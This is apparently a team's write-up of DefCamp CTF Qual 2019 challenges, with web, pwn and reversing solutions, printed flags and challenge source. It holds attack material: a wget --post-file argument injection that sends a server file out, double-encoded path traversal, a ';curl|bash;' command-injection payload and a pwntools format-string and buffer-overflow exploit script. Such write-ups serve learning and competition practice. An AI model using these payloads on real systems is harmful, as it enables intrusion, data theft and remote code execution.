DefCamp CTF Qual 2019


Downloader v1

This challenge allows you to input a URL. Then it will use wget to download the content of this URL and put it into /upload/<random>. After this, it will run bash -c 'rm $target/*.{php,pht,phtml,php4,php5,php6,php7}' to prevent uploading php files.

But we can use argument injection to upload file:

wget --post-file=/var/www/html/index.php


ini_set('display_errors', 0);
$out   = false;
$url   = $_POST['url'] ?? false;
$error = false;

if ($url && !preg_match('#^https?://([a-z0-9-]+\.)*[a-z0-9-]+\.[a-z0-9-]+/.+#i', $url)) {
    $error = 'Invalid URL';
} else if ($url && preg_match('/\.(htaccess|ph(p\d?|t|tml))$/', $url)) { // .htaccess .php .php3 -  .php7 .phtml .pht
    $error = 'Sneaky you!';

if (!$error && $url) {
    $target = 'uploads/' .uniqid() . bin2hex(openssl_random_pseudo_bytes(8));

    $cmd = escapeshellcmd('wget ' . $url) . ' 2>&1';
    $out = "\$ cd $target" . PHP_EOL;
    $out .= '$ ' . $cmd . PHP_EOL;
    $out .= shell_exec($cmd);

    $cmd = "bash -c 'rm $target/*.{php,pht,phtml,php4,php5,php6,php7}'";
    $out .= '$ ' . $cmd . PHP_EOL;
    $out .= shell_exec($cmd) . PHP_EOL;

?><!DOCTYPE html>
    <title>Downloader v1</title>
    <link rel="stylesheet" href="" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">

<div class="container mt-5">
    <div class="row">
        <div class="col-8 offset-2">
            <h3 class="text-center">File downloader v1</h3>
            <div class="card mt-5">
                <div class="card-header">Specify an URL to download</div>
                <form class="card-body" method="POST">
                    <?php if ($error): ?>
                    <div class="alert alert-danger" role="alert"><?php echo htmlentities($error); ?></div>
                    <?php endif;?>
                    <div class="form-group">
                        <label>URL to download:</label>
                        <input type="text" name="url" placeholder="" value="<?php echo htmlentities($url, ENT_QUOTES); ?>" class="form-control" >
                    <button type="submit" class="btn btn-primary float-right">Submit</button>
                <?php if ($out): ?>
                <div class="card-header card-footer">Output:</div>
                <div class="card-body">
                    <pre><code><?php echo htmlentities($out); ?></code></pre>
                <?php endif;?>

<!-- <a href="flag.php">###</a> -->

read the flag.php:

<?php /* DCTF{f8ebc33b836f0ac262fef4c18d3b18ed405da41bb4389c0d0fa1a5a997da1af0} */ ?>


In this challenge, you can set your avatar from

It will download the image from and put it into profiles/xxxxx.jpg.

And there is a LFI vulnerability: ?page=xxxxx

So our target is to put malicious php code into image, then use LFI include it to RCE.



In this challenge, the /download/ path looks so weird.

e.g. Visiting /download/index.php will show the php source code.

After fuzzing, I found path traversal vulnerability:

So we can read any php source code now:



| Web Routes
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!

Route::get('/', function () {
    return view('welcome');


Route::get('/home', 'HomeController@index')->name('home');
Route::get('/album/{path}', 'HomeController@album')->name('album')->where('path', '.*');
Route::get('/download/{path}', 'HomeController@download')->name('download')->where('path', '.*');
Route::post('/auto-logout', 'HomeController@auto_logout')->name('auto-logout');

Let's read the HomeController: /download/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/var/www/html/app/Http/Controllers/HomeController.php


namespace App\Http\Controllers;

use Illuminate\Http\Request;
use Auth;

class HomeController extends Controller
     * Create a new controller instance.
     * @return void
    public function __construct()

     * Show the application dashboard.
     * @return \Illuminate\Contracts\Support\Renderable
    public function index()
        return view('home');

    public function album(Request $request, $path)
        // dd($path);
        // dd(getcwd());

        $path = urldecode($path);

        if ($path[0] == "/") {
            $path = substr($str, 1);

        $files = scandir($path);

        foreach ($files as $key => $file) {
            if ($file[0] == ".") {
        // $files = scandir("/var/www/html/");
        $html = "";
        foreach ($files as $photo) {
            $info = pathinfo($photo);
            if(array_key_exists("extension", $info)){
                if ($info["extension"] == "jpeg") {
                $html.="<a target='_blank' href='/download/".$path."/".$photo."'><img width='700' src='/".$path."/".$photo."'></a><hr>";

        return view('home', [
            "files" => $files,
            "html" => $html,


    public function download(Request $request, $path)
        // dd($path);
        // dd(getcwd());

        $path = urldecode($path);

        if ($path[0] == "/") {
            $path = substr($str, 1);

        if (strpos($path, "../..")) {
            dd("Ilegal path found!");

        $file = file_get_contents($path);
        return $file;


    public function auto_logout(Request $request)
        //delete file after logout
        $cmd = 'rm "'.storage_path().'/framework/sessions/'.escapeshellarg($request->logut_token).'"';


There is a obvious Command Injection vulnerability in the auto_logout() function.

We can insert ";curl|bash;" into logout_token, then get RCE.




This challenge is a classic nim game. First, build a nim game state table. Then, we are done. Notice that the timeout limit is very strict. So I rent a GCP server in switzerland in order to solve it.

#!/usr/bin/env python3
from pwn import *

r = remote('', 2337)

r.sendlineafter("Hi! What's your name?\n", 'a')
r.sendlineafter('Ready? Y/N\n', 'Y')

def nim_tables(moves):
    table = [0]
    for i in range(1, 1000 + 1):
        values = []
        for move in moves:
            if i - move >= 0:
                values.append(table[i - move])
        if 0 in values:
    return table

def go():
    moves = eval(r.recvline())
    moves = sorted(moves)
    table = nim_tables(moves)

    while True:
        text = r.recvline()
        score = int(text.decode().partition('Total Score:  ')[2])
        print(f'score: {score}')
        for move in moves[::-1]:
            if score - move >= 0 and table[score - move] == 0:
                r.sendlineafter('Your move: ', str(move))
        text = r.recvline()
        if b'Well done' in text:
        text = r.recvline()
        if b'Well done' in text:

for i in range(10):

Eye Of The Tiger

We found the solution to this challenge at the last 20 minutes, and it's too late to solve it. QQ

This challenge is a tutorial video. We found that there was a adblock chrome extension installed on the author's computer, and it added a number continuously.

We noticed that this number only added either 1 or 2. We recorded the amount of change and converted them to 0 and 1. Then, we converted each 8 bits to an ascii character. The final result is the flag.




There was an format string vulnerability in the username. I used %p to dump the stack, and I found a string from %30$p. It's the password for this challenge.

username: test
password: $_TH1S1STH34W3S0M3P4sSw0RDF0RY0UDCTF2019_


Just use format string to leak canary and libc base; then use buffer overflow to write retrun address as one gadget.

#!/usr/bin/env python

from pwn import *

ip = ""
port = 1339

context.arch = "amd64"

r = remote(ip, port)
# r = process("pwn_secret")

r.sendlineafter(":", "_%15$p_%16$p_%17$p")
out = r.recvline().split("_")
canary = int(out[1], 16)
code_base = int(out[2], 16) - 3136
libc_base = int(out[3], 16) - 133168

r.sendlineafter(":", flat("a" * 136, canary, 'b' * 8, libc_base + 0x45216))



After reversing, the input string will be mapped to 6U2SRYZ9A84VQXK>7;F5E?I0GJW=PD3<MT@BLH:NO1C one byte by one byte and insert to the balance tree. And then, check the pre-order traversal is equals to E852036?;<B@DLIGJPNU. Therefore, do the reverse way and we get the username D9TCEFL20ASHIW1GNORM.